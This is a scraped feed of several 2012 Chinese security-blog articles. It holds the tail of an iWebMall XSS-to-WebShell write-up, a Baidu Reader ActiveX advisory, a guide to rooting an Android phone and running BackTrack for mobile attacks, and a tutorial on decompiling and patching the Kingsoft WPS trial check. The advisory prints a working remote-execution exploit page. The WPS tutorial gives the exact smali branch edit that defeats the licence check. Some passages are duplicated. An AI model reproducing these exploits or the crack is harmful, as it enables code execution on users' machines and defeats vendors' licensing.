我們看到此刻瀏覽器訪問的網址類似這樣:http://127.0.0.1/iwebmall/sysadmin/m.php?app=tmp_change&tmp_path=default/mo dules/goods/csv_taobao_img.html。其中,“tmp_path”這個參數指明了被修改編輯的模板 網頁所在路徑地址,如果我們修改這個路徑地址,將其指向系統自帶的某個php文件,結果 會怎樣呢?  看到圖9 的內容,我想此刻不需要在多解釋什么,借助“tmp_path”參數我們可以修改 編輯系統中任何一個文件中的內容,于是,可以寫一個WebShell到系統自帶的php文件中, 然后,借此WebShell來進一步控制服務器,提權什么的都是后話了。 真是沒有想到,從一個XSS漏洞開始,我們竟然能夠一步一步最終成功滲透進入服務 器,iWeb Mall多用戶商城系統的安全漏洞危害確實足夠嚴重,希望本文能夠引起其開發者 關注,及時修補漏洞。 http://www.ionrce.tw/uploads/allimg/120404/1-120404130319350-lp.jpg iWebMall 商城系統 安全 網站安全 admin 未知 2012-04-04 13:01 解密百度閱讀器遠程執行任意文件漏洞 http://www.ionrce.tw/wangzhananquan/20120403816.html 百度閱讀器是一款向用戶提供文字閱讀功能的工具性軟件,它支持主流文檔格式,如 txt、pdf、doc、ppt 等,還支持在線閱讀書籍,可以借助網絡閱讀更多的文檔。該軟件的 使用界面也十 百度閱讀器是一款向用戶提供文字閱讀功能的工具性軟件,它支持主流文檔格式,如 txt、pdf、doc、ppt 等,還支持在線閱讀書籍,可以借助網絡閱讀更多的文檔。該軟件的 使用界面也十分清爽,如圖 1 所示。 在使用百度閱讀器閱讀文檔的時候,該軟件模擬真實書籍閱讀方式,將文檔展現的用 戶面前,從這一方面來講,確實顯得非常引人喜歡,如圖 2 所示。 在將百度閱讀器安裝進系統的時候,該軟件自帶了一個 ActiveX 控件,文件名為 “BRIEPlugin1.1.0.274.dll”。使用       ComRaider 查看該控件提供的所有外部接口,如圖 3 所示。 從圖 3 中看到,“BRIEPlugin1.1.0.274.dll”提供的外部接口非常豐富,在我們的測 試中發現,出現問題的外部接口較多,而這里最引起我們關注的是一個名為“OpenPage”的 外部接口。該外部接口的函數原型為:   Sub OpenPage (     ByVal strPageURL  As String ) 從函數原型我們發現,“OpenPage”的參數只有一個,其屬于字符串型。面對這種參數, 一般情況下,我們都會考慮對其進行緩沖區溢出測試,但是,這里我們卻不這樣考慮。借助 OllyDbg 我們對“BRIEPlugin1.1.0.274.dll”文件進行了反匯編分析,發現其中調用了一 個不安全函數“ShellExecuteW”,如 圖 4 所示。 “ShellExecuteW”是一個可以運行任何文件的系統函數,我們懷疑該函數在某種情 況下,通過調用“BRIEPlugin1.1.0.274.dll”文件的外部接口可以觸發該函數。很幸運, “OpenPage”這個外部接口就是“ShellExecuteW”函數的調用者。我們可以寫一個簡單的測試網頁代碼來證明這個分析,網頁代碼如下所示。 <object    classid="clsid:4EA36CDF-1236-45E8-B7E8-B6140C617A21" name="evil" ></object> <script> document.write(evil.OpenPage("cmd.exe")); </script> 保存上面的代碼為 index.htm,上傳該網頁文件到服務器上,用 IE 訪問該網頁,效果如圖 5 所示。 圖 5 的畫面已經足以說明一切,“BRIEPlugin1.1.0.274.dll”文件的“OpenPage”確 實調用了“ShellExecuteW”函數,而“strPageURL”這個參數就代表了被運行文件的名稱。 現在,我們可以發揮自己的想象力來構造出任意 exploit 網頁,例如使用死循環調用程序造 成用戶系統死機、采用欺騙頁面誘使用戶運行遠程木馬等等。 百度閱讀器出現的這個安全漏洞,從實質上說是一個執行任意文件的安全漏洞,危害 較大,尤其是漏洞發生在 ActiveX 控件上,這就使得該漏洞可以實現遠程攻擊的效果。編程人員在設計該 ActiveX 控件的時候,可能沒有仔細考慮到安全方面的要求,疏忽了對系統函 數的調用進行安全封裝。“ShellExecuteW”函數的作用不僅僅限于運行可執行文件,凡是系 統注冊、有相關聯類型的文件都可以被成功運行,還有協議類,如 mailto。面對這樣的函數,編程人員應該對用戶提交的參數進行嚴格審核,微軟在 2010 年就對“ShellExecuteW” 函數出現的安全漏洞進行了修補,其性質類似于此。所以,希望本文能夠引起百度公司的注意,及時修補該漏洞。 http://www.ionrce.tw/uploads/allimg/120403/1-120403195206163-lp.jpg 遠程執行 文件漏洞 解密 網站安全 admin 未知 2012-04-03 19:43 移動終端的新一代信息威脅-android平臺下bt5滲透 http://www.ionrce.tw/xitonganquan/20120401815.html 引言 時下各大 IT 廠商紛紛進軍移動終端市場,隨著智能手機和平板電腦等各種智能終端的 發展,它們對數據的處理能力也日益強大,并且輕便易帶,所以大有取代傳統的個人電腦之 引言 時下各大 IT 廠商紛紛進軍移動終端市場,隨著智能手機和平板電腦等各種智能終端的 發展,它們對數據的處理能力也日益強大,并且輕便易帶,所以大有取代傳統的個人電腦之 趨勢,這種發展趨勢顯然給我們的生活和工作都帶來了很多好處,但不可置疑的是同時這也 給我們的信息安全帶來了新的威脅,手機短信被竊、手機話費被盜等新聞已經屢見不鮮了。 而本文要說的不是智能終端本身所遭受的威脅,而是通過智能移動終端向外部其他信息系統發起的攻擊威脅。我們能夠使用智能手機來打游戲,使用平板電腦來進行視頻會議,當然也就能利用它們來進行黑客攻擊行為,這樣未來的黑客就不僅是呆在房間里的電腦前面 了,而是可能隨身帶著某種智能終端到處游走,并且這些移動的攻擊不僅僅是古老的 wardriving,而是在普通電腦上面能進行的黑客攻擊操作都能在智能終端上面實現。 移動滲透測試平臺 本文選擇的滲透測試平臺是 BackTrack,這是在國際上最為知名的信息安全專用操作系 統,在 backtrack 系統里面可以開展信息搜集、漏洞掃描、漏洞利用、權限提升、維持訪問等一系列的滲透測試操作,另外還可以進行電子取證、逆向工程、壓力測試、報告編寫等其 他信息安全相關的工作。 其前身是 Auditor Security Live CD,后來整合了 WHAX(先前的 Whoppix)而成的。 早期 BackTrack 是基于 SLAX 的自啟動運行光盤,從 BackTrack 4 開始改為使用 Ubuntu 做 基礎平臺了,其可以作為 live usb 或 live cd 使用。從 2006 年 BackTrack 第一版面世到 2011 年發布目前最新的 BackTrack5 R1 版本,已經發展了 6 年多的時間。 類似的操作系統還有 WiFiSlax、Wifiway、nUbuntu、SkyRidr、PHLAK、slitaz、mpentoo、NodeZero、REMnux、Security Onion、OWASP livecd、backbox 等,但是實際上有專業團隊在維護和持續更新的就只有 backtrack,它也是目前唯一發布 ARM 平臺下 IMG 鏡像的,而目 前幾乎絕大部分的智能手機或平板電腦都是基于 ARM(Advanced RISC Machines)處理器的, 這是 Acorn 計算機有限公司面向低預算市場設計的第一款 RISC 微處理器。更早稱作 Acorn RISC Machine。 backtrack 的 IMG 鏡像就可以在這些使用 ARM 處理器的智能終端上面使用,如圖 1 是在摩托羅拉 XOOM 平板電腦上面使用 backtrack,圖 2 是在摩托羅拉智能手機上面使用 backtrack,下面就開始介紹在 Android 系統下安裝使用 backtrack 的方法。 圖 2 摩托羅拉智能手機 本文用來演示的手機是索愛 XPERIA x10i,要用它來安裝 backtrack,先要獲得 Android 系統的 root 權限,提權原理也是用 Linux 內核提權漏洞來獲得 root 權限的,下面是手機的一些基本信息。   手機型號:X10i Android 版本:2.3.3 基帶版本:2.1.71 內核版本:2.6.29-00054-g5f01537  SEMCUser@SEMCHost #1 版本號:3.0.1.G.0.75 這里使用的提權工具是SuperOneClickv2.2-ShortFuse,大家可以到工具官 網:https://shortfuse.org下載,下面是提權的步驟: 1、先要在電腦上安裝手機的 USB 驅動,所以到索愛官網下載一個管理軟件: http://dl-www.sonyericsson.com/cws/download/1/786/189/1320055975/Sony_Ericsson_ PC_Companion_2.01.231_Web.exe,其他的根據你的手機型號和電腦操作系統來選擇相應的 軟件。 2、到 https://shortfuse.org 下載最新版本的提權工具,名稱是 SuperOneClick。 3、把手機關機,取出手機中的 SD 卡,然后開機,到手機的“設置”-“應用程序”-“開發” -“USB 調試”中關掉 USB 調試功能, 4、手機使用 USB 連接電腦,打開 SuperOneClick,點擊工具界面上的“Root”。 5、看到 SuperOneClick 出現這兩條信息:* daemon not running. starting it now on port 5037 * * daemon started successfully *,這時再到手機的“設置”-“應用程序”-“開發”- “USB 調試”中打開手機的 USB 調試功能,SuperOneClick 就會自動開始提權操作了,如圖 3 工具自動提權。 6、我們回到手機上,登錄 Android 的“電子市場”(Android Market)安裝一款“終端模擬#p#分頁標題#e# 器”(Terminal Emulator)用來執行命令,當上面執行提權操作成功之后,我們就可以在“終 端模擬器”里面使用 su 命令在轉為 root 權限了,如圖 4。 圖 3 工具自動提權 Android 安裝 backtrack(電腦中的操作)   在上一步提權成功之后,我們還需要做一些準備工作,首先手機還要從“電子市場” (Android Market)上安裝一個用來連接VNC的androidVNC工具,另外要下載Backtrack 5 的  ARM    版  本  ,  官  方      的     下    載    地    址    是    : http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5-GNOME-ARM.7z, 但是由于backtrack官方提供的arm鏡像大于 4G,只能在摩托羅拉的xoom平板電腦上用,我 們普通的安卓手機用的SD卡是fat32 的文件格式,放不下大于 4G的文件,所以不能直接使用 backtrack 官方 的 ARM 鏡 像。大 家到這 里下 載減縮 后的 backtrack  img 鏡 像:http://hackomania.com/BT5/bt.7z.001,http://hackomania.com/BT5/bt.7z.002,h ttp://hackomania.com/BT5/bt.7z.003。 用 Linux 系統下的 cat 命令合并上面下載的三個壓縮文件為 bt.7z 一個文件,命令如: “cat bt.7z.001 bt.7z.002 bt.7z.003 > bt.7z”,用 7z 命令解壓合并后的壓縮文件:“7z e bt.7z”,如圖 5。 cat bt.7z.001 bt.7z.002 bt.7z.003 > bt.7z        合并文件 7z e bt.7z                             解壓文件 解壓后可以看到以下文件: bt                              backtrack的 命令行版本chroot。 bt.img                           backtrack 鏡像。 startbt                           掛載并準備使用 backtrack。 stopbt                           卸載并釋放所有資源。 installbt.sh                        自動配置腳本。 我們還需要按以下方法修改一下 startbt 這個腳本文件如圖 6。最后新建一個名稱為 bt 的文件夾,把它們全部放進去,把這個 bt 文件夾復制到你手機 SD 卡的根目錄下。   把 startbt 這個腳本文中的以下三行 mount -t devpts devpts $mnt/dev/pts mount -t proc proc $mnt/proc   mount -t sysfs sysfs $mnt/sys 修改為: busybox mount --bind /dev/pts $mnt/dev/pts busybox mount --bind /proc $mnt/proc busybox mount --bind /sys $mnt/sys Android 安裝 backtrack(手機中的操作)   在做完上面的一些準備工作之后,我們回到手機中打開 Terminal Emulator(終端仿真 器)上運行以下命令自動配置 backtrack, su              轉為 root 用戶 cd /sdcard/bt      跳轉到 sd 卡的 bt 目錄下面 sh installbt.sh     運行配置腳本 startbt           啟動 backtrack bt              進入 backtrack 的命令行界面 上面的命令執行成功后就可以在命令行中使用 backtrack 了,當然還可以通過 androidVNC 連接 backtrack 的圖形界面,首先要使用 ui 命令啟動 backtrack 的 VNC 服務, 默認密碼是 12345678,你可以使用 BT 的 vncpasswd 命令更改這個密碼,當你要關閉 VNC 時 可以使用 killui 命令來停止運行 vncserver。#p#分頁標題#e# 打開手機的 androidVNC 配置以下信息,連接 backtrack 的 VNC 即可打開漂亮的圖形界 面,如圖 7,但是圖形界面打開的速度就要看你手機的性能了,有些手機打開會比較慢,這 時我們就可以開始一些滲透操作了,如圖 8 是在諾基亞的 N900 上面進行破解無線密碼。 Nick : BackTrack (bt for short) address : localhost port : 5901 password : 12345678 結束語     上面介紹的是在安卓的手機上面安裝 backtrack 滲透測試系統,當然我們單獨安裝某款 滲透工具也是可行的,從上面的介紹可以看出使用智能手機或平板電腦來進行滲透測試的可 行性。可想而知,此后我們的信息安全面臨的威脅必然更加嚴峻,特別是對于這些智能終端 的取證更加艱難,因為它們比起普通的電腦來說更加容易隱藏和銷毀。一個人拿著手機站在 你身旁,你根本不知道他在干嘛,也許他正在竊取著你手機中的信息呢。   http://www.ionrce.tw/uploads/allimg/120401/1-120401232213G5-lp.jpg android bt5滲透 BackTrack 系統安全 admin 未知 2012-04-01 23:17 Android 應用程序基礎破解入門 http://www.ionrce.tw/ruanjianpojie/20120329811.html Android 軟件越來越多的走向免費加廣告模式了,但在我們日常應用中,還是不乏一些收費應用,一部分通過 Market 收費下載,另一部分將收費部分放到了軟件的實現中,我們 今天要討論的 Android 軟件越來越多的走向免費加廣告模式了,但在我們日常應用中,還是不乏一些收費應用,一部分通過 Market 收費下載,另一部分將收費部分放到了軟件的實現中,我們 今天要討論的就是后者,就我見到的一部分 Android 軟件中,它們有通過序列號驗證的,有 通過 Linsence 綁定的,更有甚者是通過網絡激活驗證的,那它們的安全措施都有哪些?如 何分析并破解它們?這將是這篇文章將要講到的。 破解工具介紹 下表列舉出了破解 Android 程序時可能會用到的工具: 工具名稱 用途 AXMLPrinter2.jar 用來解密輸出 APK 中加密的 XML 文件 dex-translator 包含 dex2jar 可以將 APK 中的 classes.dex 生成相應的 JAR 文件 JD-GUI.exe 查看 dex2jar 生成的 JAR 文件(源碼級顯示,不過不太準確) DeDexer DEX 文件反編譯工具,使用 Jasmin 格式 Smali,BakSmali DEX 文件編譯與反編譯工具,使用 smali 格式 EditPlus 查看及編輯反匯編后的文件 IDA Pro DEX 反編譯查看工具,可用來查找 DEX 文件補丁位置 Apktool 集成了 Smali 與 BakSmali,編譯與反編譯 DEX 更方便 Eclipse,ADT 插件 編譯 Android 補丁或測試程序 Netbeans 配合 ApkTool 單步調試 Smali 文件 AndBug APK 調試工具(只支持 Linux 平臺) Android SDK 這個開發與測試 APK 都需要,ADB,AAPT,DDMS 經常要用到 Jarsigner.exe., keytool.exe 對 APK 進行簽名(JDK 的 Bin 目錄下) ApkTool_GUI 這個現在用的人比較多,集成了反編譯、編譯、簽名功能于一體 Android 設備 測試程序用,沒有的話模擬器或 Android-x86(Android 的 PC 版)也行 表 1 這些工具經常配合在一起使用來反編譯與編譯APK文件,但ApkTool_GUI的出現將這些繁 瑣的工作化繁為簡,可以從此處下載它:http://115.com/file/an0pe8osEditPlus主要 用來高亮顯示查看生成的反編譯文件,為此我制作了Editplus的高亮語法文件一起打包給大 家。DeDexer與BakSmali是目前廣泛使用的兩款DEX反編譯工具,兩個工具在語法上有細微的 差別,我們在下面會此進行比較。 Dalvik VM 和OpCodes 如同破解 Windows 程序需要掌握 Windows 程序特點一樣,破解 Android 平臺的程序需要 先掌握 Android 程序開發的一些基本知識,一般的程序破解不需要深入的了解 Android 程序 的開發,不過對于 Android 程序的運行機制應該有個大致的了解,完全不懂 Android 程序開 發的朋友還是先打打基礎吧!在 Windows 程序的調試時代,破解者將需要分析的程序載入 Ollydbg 之類的調試器中,在成千上萬條匯編指令中尋找突破點,MASM 語法的匯編自己也成 為解密者需要掌握的基礎,而我們要想熟練的分析 Android 程序,就必須要掌握 Dalvik 虛 擬機的指令,聽到虛擬機可能一部分人開始發怵了,其實 Dalvik 虛擬機與我們常說的 Windows 平臺的 VM 虛擬機有著很大的區別,下面我們來看看什么是 Dalvik 虛擬機指令是何 方神圣,它在 Android 程序破解中又有著怎樣的地位?#p#分頁標題#e# Dalvik 虛擬機是專門為 Android 平臺上的程序運行而設計的一種代碼運行機制,它主要的作用是對 JAVA 程序的 ByteCode 進行優化,以提高代碼執行效率。可以說,從 Android2.2 版本開始,Android 系統手機真正的拉開了市場,這背后很大一部分功勞要取決于強大的 Dalvik JIT 編譯器,正是由于它大幅提升 Android 2.2 的各種性能。與傳統的 Java 虛擬機 (JVM)基于棧有所不同,Dalvik 是基于寄存器的虛擬機,這使得它們在編譯的時候只需花費 更短的時間。Dalvik JIT 解釋的 JAVA ByteCode 源于 JVM 而又優于 JVM,在 JAVA 虛擬機中, 代碼是基于 Method 方式來運行解釋編譯的,而在 Android2.2 版本及以后的 Dalvik JIT 則 是基于 Trace 解釋編譯的,Dalvik 最多支持 256 個寄存器,但嵌入式 CPU 自身并不帶那么 多的寄存器,Dalvik 除了使用 ARM 本身的幾個寄存器外,其它需要用到的寄存器會借用外部存儲器來模擬,那 Android 程序運行時會用到多少個寄存器呢?答案是不確定的,它會在 生成代碼時進行計算。在這里,我們不去詳細的探究 Dalvik 的運行機制,但掌握 Dalvik 指令的語法為以后的逆向工程做基礎卻是十分有必要的。一份詳細的 Dalvik opcodes 表可 以 從    Android   源 碼 中 獲 得 , 在      Android4.0 的 源 碼 中 , 可 以 從 dalvik/opcode-gen/bytecode.txt       查 看 到 完 整 支 持 的   OpCodes , 在 dalvik/docs/dalvik-bytecode.html 中可以找到 Dalvik OpCodes 的詳細說明。早期的 OpCodes 使用一個字節就可以保存,意味著最多可以有 256 條指令,在最新的一份 OpCodes 列表中,OpCodes 擴展了一字節,并擴充了一些指令。下面我們來看看 Dalvik 指令的格式, 畢竟我們要看的不是這些 OpCodes,而是由它們在一起組成的代碼。新建一個 Android 工程 命名為 HelloAndroid,HelloAndroidActivity.java 文件使用默認生成的代碼: package cn.feicong.HelloAndroid; import android.app.Activity; import android.os.Bundle; public class HelloAndroidActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); } } 編譯生成 APK 文件,接下來看看反編譯后的結果。 首先是 DeDexer,進入命令行并定位到 HelloAndroid/bin 目錄下,在命令行下運行 java -jar ddx.jar -d outdir classes.dex (可從http://sourceforge.net/projects/dedexer/ 下載DeDexer)會在outdir目錄中生成六個ddx文件,如圖 1 所示: 打開 HelloAndroidActivity.ddx 文件代碼如下: .class public cn/feicong/HelloAndroid/HelloAndroidActivity .super android/app/Activity .source HelloAndroidActivity.java .method public <init>()V .limit registers 1 ; this: v0 (Lcn/feicong/HelloAndroid/HelloAndroidActivity;) .line 6 invoke-direct     {v0},android/app/Activity/<init>         ; <init>()V return-void .end method .method public onCreate(Landroid/os/Bundle;)V .limit registers 3 ; this: v1 (Lcn/feicong/HelloAndroid/HelloAndroidActivity;) ; parameter[0] : v2 (Landroid/os/Bundle;) .line 10 invoke-super     {v1,v2},android/app/Activity/onCreate       ; onCreate(Landroid/os/Bundle;)V .line 11 const/high16      v0,32515 invoke-virtual {v1,v0},cn/feicong/HelloAndroid/HelloAndroidActivity/setContentView ; setContentView(I)V .line 12 return-void .end method .class 是程序的類名,.super 為它的父類,.source 為源文件。.method 表示是一個類 的方法,后面的大寫'V'表示 Void,即無返回值,<init 表示是構造函數,.limit registers 1 表示用到了一個寄存器,分號后面是注釋,.line 表示行號,可有可無,invoke-direct 與 return-void 是 Dalvik 的 OpCode,前者調用一個類的方法,后者直接返回。 看看 BakSmali 的反編譯代碼,運行 apktool.jar d HelloAndroid.apk outdir2 在 outdir2 目錄會生成一個 smali 目錄,同樣在相應的目錄會生成六個 Smali 結尾的文件,如 圖 2 所示: #p#分頁標題#e# 打開 HelloAndroidActivity..smali 文件代碼如下: .class public Lcn/feicong/HelloAndroid/HelloAndroidActivity; .super Landroid/app/Activity; .source "HelloAndroidActivity.java" # direct methods .method public constructor <init>()V .locals 0 .prologue .line 6 invoke-direct {p0}, Landroid/app/Activity;-><init>()V return-void .end method # virtual methods .method public onCreate(Landroid/os/Bundle;)V .locals 1 .parameter "savedInstanceState" .prologue .line 10 invoke-super                           {p0,                          p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V .line 11 const/high16 v0, 0x7f03 invoke-virtual                          {p0,                         v0}, Lcn/feicong/HelloAndroid/HelloAndroidActivity;->setContentView(I)V .line 12 return-void .end method 可以看出 Smali 文件的內容與 ddx 文件內容差別不是很大,ddx 文件中有一些寄存器跟 蹤信息,用注釋標了出來,而 Smali 則只對條件判斷進行寄存器跟蹤,ddx 使用十進制表示 數值,Smali 則使用十六進制(Android 資源 ID 也使用十六進制,我們搜索起來更方便),其它的不做太多比較了,不過目前使用 Smali 格式來分析 DEX 文件的人占多數,這一方面因為它代碼漂亮,回編成功率高,更重要的是它能與 Netbeans 配合對 Smali 進行單步調試!! 這不能不說是一個大亮點,詳細的內容不是這篇文章的重點,可能以后會跟大家討論。 上面的介紹部分就到這里了,下面正式進行實戰破解環節。Let's GO! 破解實戰   先說說 APK 的一般破解步驟, 1.對 APK 進行反編譯。 2.對反編譯的 Smali 文件進行分析或調試。 3.找到突破口,對 Smali 文件進行修改。(還有一種方法,更高效,我正在測試中,成功后與大 家分享) 4.回編生成破解后的 DEX 文件。 5.重新打包生成 APK 并簽名。 6.測試效果,不成功轉到第二步操作。 試煉品我選擇了國內著名公司金山出品的 WPS Android4.0.3 版,此版本的 WPS 是一個 限制試用版,在安裝運行后程序會提示軟件過期。而目前最新的 WPS 已經免費了(可能并不 好賣,呵呵)。 先安裝運行程序,觀察它的運行狀態,執行這個軟件會給出如圖 3 的提示: 程序很大方的結出提示說已經過期了,我們點擊更新即可以升級到最新版(在這里,我 們就不升級了,因為升級后是免費的,對于我們練手就沒搞頭了),我們點擊取消,程序退 出。 下面我們對這個APK文件進行反編譯。使用ApkTool_GUI,運行如圖4: 將 APK拖到第一個編輯框中,點擊反編譯APK,稍等片刻解壓完成后會生成與文件名同 名的文件夾,進入里面可以發現多出了一個smali文件夾,這個文件夾里面存放的就是我們 需要分析的 Smali 文件。我們雙擊打開,可以發現里面竟然有幾個文件夾及幾千個 smali 文件!!我首次打開時也吃了一驚,如此多的文件讓人怎么分析啊(大家可以發怵一下),如 圖 5所示: 而且每個文件的文件名也很詭異,全是一些 a-z 的字母組合,打開任意一個 smali 文件 看看,發現里面的方法名也是如此。分析過 C#程序的人可能會覺得這里似乎很類似,是的, 這些代碼如同 C#程序里面的混淆器混淆過一樣,在 Android 程序開發的 SDK 中,提供了一 套名叫 Proguard 的代碼保護機制,它的作用就是通過隨機化改變類中的方法及變量名,去 除無用的虛方法、注釋等手段讓代碼變得難以閱讀,以此來達到保護程序的目的,在這里可#p#分頁標題#e# 能很多人再次發怵,本來就沒弄過 Android 程序,現在一上來就是個混淆過的款,叫人怎么活啊!不要急,其實,被 Proguard 混淆過的代碼還是有辦法弄的,如有主要的幾個類,如 Service、Activity 等類名是不能被混淆的,不過這不是我們今天要講的重點。 我們接著分析,回想一下,我們在安裝運行程序時,程序彈出了一個 Message,想想我 們在 OD 中破解 Windows 程序時用到的字符串參考,在這里是否可用呢?回答是:可以!我們在編譯 Android 程序時,定義的字符串都保存在一個名收 Strings.xml 的文件中,編譯生 成 APK 后它也被加密打包到程序中了,而程序通過為每個字符串分配一個 ID 來進行調用, 這些 ID 被保存在 public.xml 文件中。我們在剛才反編譯的 XML 文件中找找就可以發現在 res/values 下有這兩個文件,我們打開 strings.xml 并查找之,很快可以發現如下兩行: <string name="expired_title">產品過期</string> <string name="expired_message">這是一個有使用期限的版本,從 2012 年 1 月 1 日開始 此版本已過期, 請確保網絡通暢,并立即檢查升級。</string> 這兩行字符串正是前面運行程序時彈出的 MessageBox 的標題與文字。我們在這里記下 它們的名字 為 expired_title 與 expired_message 。打 開 strings.xml 文件查 找 expired_title 與 expired_message 則可以找到下面兩行: <public type="string" name="expired_title" id="0x7f060166" /> <public type="string" name="expired_message" id="0x7f060167" /> 找到了這兩個 ID 就好辦了,我們下面來看看 Android 程序中是如何構建一個字符串的,修 改剛才的 HelloAndroid 代碼如下: public class HelloAndroidActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); ShowString();   } public void ShowString(){ String str = getString(R.string.hello); Toast.makeText(getApplicationContext(), str,Toast.LENGTH_SHORT).show(); } } 重新生成 APK 后并編譯代碼如下: # virtual methods .method public ShowString()V .locals 3 .prologue .line 16 const/high16 v1, 0x7f04 invoke-virtual                          {p0,                         v1}, Lcn/feicong/HelloAndroid/HelloAndroidActivity;->getString(I)Ljava/lang/String; move-result-object v0 .line 17 .local v0, str:Ljava/lang/String; invoke-virtual                                                    {p0}, Lcn/feicong/HelloAndroid/HelloAndroidActivity;->getApplicationContext()Landroid /content/Context; move-result-object v1 const/4 v2, 0x0 invoke-static                {v1,                v0,               v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequen ce;I)Landroid/widget/Toast; move-result-object v1 invoke-virtual {v1}, Landroid/widget/Toast;->show()V .line 18 return-void .end method .method public onCreate(Landroid/os/Bundle;)V .locals 1 .parameter "savedInstanceState" .prologue .line 11  invoke-super                        {p0,                        p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V .line 12 const/high16 v0, 0x7f03 invoke-virtual                        {p0,                       v0}, Lcn/feicong/HelloAndroid/HelloAndroidActivity;->setContentView(I)V#p#分頁標題#e# .line 13 invoke-virtual                                                {p0}, Lcn/feicong/HelloAndroid/HelloAndroidActivity;->ShowString()V .line 14 return-void .end method 可以看到 const/high16 v1, 0x7f04 將 V1 寄存器的高 16 位設置為 0x7f04,低位未設置則 為 0,然后調用  getString()將結果保存到 v0 并設置到 str 中,在這里注意一下 invoke-virtual 之類調用的格式,在 OpCode 后面的括號中是參數列表,用逗號分隔,后面 'L'打頭的是相應參數的數據類型,用分號隔開,大寫字符'I’表示為 int 類型。我們在反 編譯的 文件夾 中搜 索 調用了 ID 為 0x7f060167 文 件。 發 現 R$string.smali 與 DocumentManager.smali 兩個文件中有調用,第 1 個為代碼編寫時自動生成的,可以無視,第 2 個就是重點了,我們打開 DocumentManager.smali 文件查找調用處,代碼為:   .method static synthetic e(Lcn/wps/moffice/documentmanager/DocumentManager;)V .locals 3 iget-object                         v0,                        p0, Lcn/wps/moffice/documentmanager/DocumentManager;->cPj:Lcn/wps/moffice/write r/view/beans/g; if-eqz v0, :cond_0    //如果 g 對象獲取失敗就跳到過期提示,這里是爆破點(g 就是我們見到的過期提示框) iget-object                         v0,                        p0, Lcn/wps/moffice/documentmanager/DocumentManager;->cPj:Lcn/wps/moffice/write r/view/beans/g; invoke-virtual {v0}, Lcn/wps/moffice/writer/view/beans/g;->isShowing()Z //g 對象是否已經顯示 move-result v0 if-nez v0, :cond_1     //如果 g 顯示了就直接返回就直接返回 :cond_0 new-instance v0, Lcn/wps/moffice/writer/view/beans/g;          //創建一個 g 的實 例 invoke-direct                        {v0,                       p0}, Lcn/wps/moffice/writer/view/beans/g;-><init>(Landroid/content/Context;)V // 構造函數 const v1, 0x7f060166     //字符串常量產品過期 invoke-virtual                        {v0,                       v1}, Lcn/wps/moffice/writer/view/beans/g;->eb(I)Lcn/wps/moffice/writer/view/bean s/g; move-result-object v0      //調用 g 的 eb()方法,應該是設置彈出框的標題 const v1, 0x7f060167 //字符串常量這是一個有使用期限的版本,從 2012 年 1 月 1 日開始此版本已過期, 請確保網絡通暢,并立即檢查升級。 invoke-virtual {p0, v1}, Lcn/wps/moffice/documentmanager/DocumentManager;->getString(I)Ljava/lan g/String; move-result-object v1      //取得字符串 invoke-virtual                       {v0,                      v1}, Lcn/wps/moffice/writer/view/beans/g;->be(Ljava/lang/String;)Lcn/wps/moffice /writer/view/beans/g; move-result-object v0//調用 g 的 be()方法,應該是設置彈出框的內容 const v1, 0x7f060112 new-instance v2, Lcn/wps/moffice/documentmanager/DocumentManager$4; invoke-direct                          {v2,                         p0}, Lcn/wps/moffice/documentmanager/DocumentManager$4;-><init>(Lcn/wps/moffice/docu#p#分頁標題#e# mentmanager/DocumentManager;)V           //構造 DocumentManager invoke-virtual                 {v0,                v1,                v2}, Lcn/wps/moffice/writer/view/beans/g;->a(ILandroid/content/DialogInterface$OnCli ckListener;)Lcn/wps/moffice/writer/view/beans/g;              //設置按鈕監聽器 move-result-object v0 const v1, 0x7f060165 new-instance v2, Lcn/wps/moffice/documentmanager/DocumentManager$7; invoke-direct                          {v2,                         p0}, Lcn/wps/moffice/documentmanager/DocumentManager$7;-><init>(Lcn/wps/moffice/docu mentmanager/DocumentManager;)V      //DocumentManager 對象 invoke-virtual                 {v0,                v1,                v2}, Lcn/wps/moffice/writer/view/beans/g;->b(ILandroid/content/DialogInterface$OnCli ckListener;)Lcn/wps/moffice/writer/view/beans/g;              //設置按鈕監聽器 move-result-object v0 iput-object                           v0,                          p0, Lcn/wps/moffice/documentmanager/DocumentManager;->cPj:Lcn/wps/moffice/writer/vi ew/beans/g; iget-object                           v0,                          p0, Lcn/wps/moffice/documentmanager/DocumentManager;->cPj:Lcn/wps/moffice/writer/vi ew/beans/g; const/4 v1, 0x0 invoke-virtual                          {v0,                         v1}, Lcn/wps/moffice/writer/view/beans/g;->setCancelable(Z)V //設置是否可取消 iget-object                           v0,                          p0, Lcn/wps/moffice/documentmanager/DocumentManager;->cPj:Lcn/wps/moffice/writer/vi ew/beans/g; invoke-virtual {v0}, Lcn/wps/moffice/writer/view/beans/g;->show()V           //顯示 g,也就是過期對話框 :cond_1 return-void .end method 這個 e 方法看得出來是重要的地方,我做了詳細的注釋,功能就是首先 g 是否已經顯示, 如果沒顯示就初始化并顯示,我們爆破就簡單了,直接 if-eqz v0, :cond_0 改成 if-eqz v0, :cond_1。保存文件并退出,拖動不整個文件夾到 ApkTool_Gui 第二個編輯框重建 APK。 完成后拿到 Android 設備上測試。會發現程序彈出個 Toast 提示軟件過期,然后就退出了, 看來還有地方需要處理。按照上面的方法如法炮制搜索 0x7f060166(軟件過期字符串的 ID),發現有兩處調用,而且兩處調用都是類似的代碼:   .method                          public                          final a(Lcn/wps/moffice/documentmanager/DocumentManager$a;Ljava/lang/String;)V .locals 4 invoke-static                                                  {}, Lcn/wps/moffice/OfficeApp;->zc()Lcn/wps/moffice/OfficeApp;#p#分頁標題#e# move-result-object v0 invoke-virtual {v0}, Lcn/wps/moffice/OfficeApp;->zd()Z         ///對程序進行驗證 move-result v0 if-eqz v0, :cond_1 //驗證為 0 就跑去運行程序 const v0, 0x7f060166       //軟件過期字符串 ID invoke-virtual                          {p0,                         v0}, Lcn/wps/moffice/documentmanager/DocumentManager;->getString(I)Ljava/lang/String ; move-result-object v0 const/4 v1, 0x0 invoke-static                {p0,                v0,               v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequen ce;I)Landroid/widget/Toast; move-result-object v0 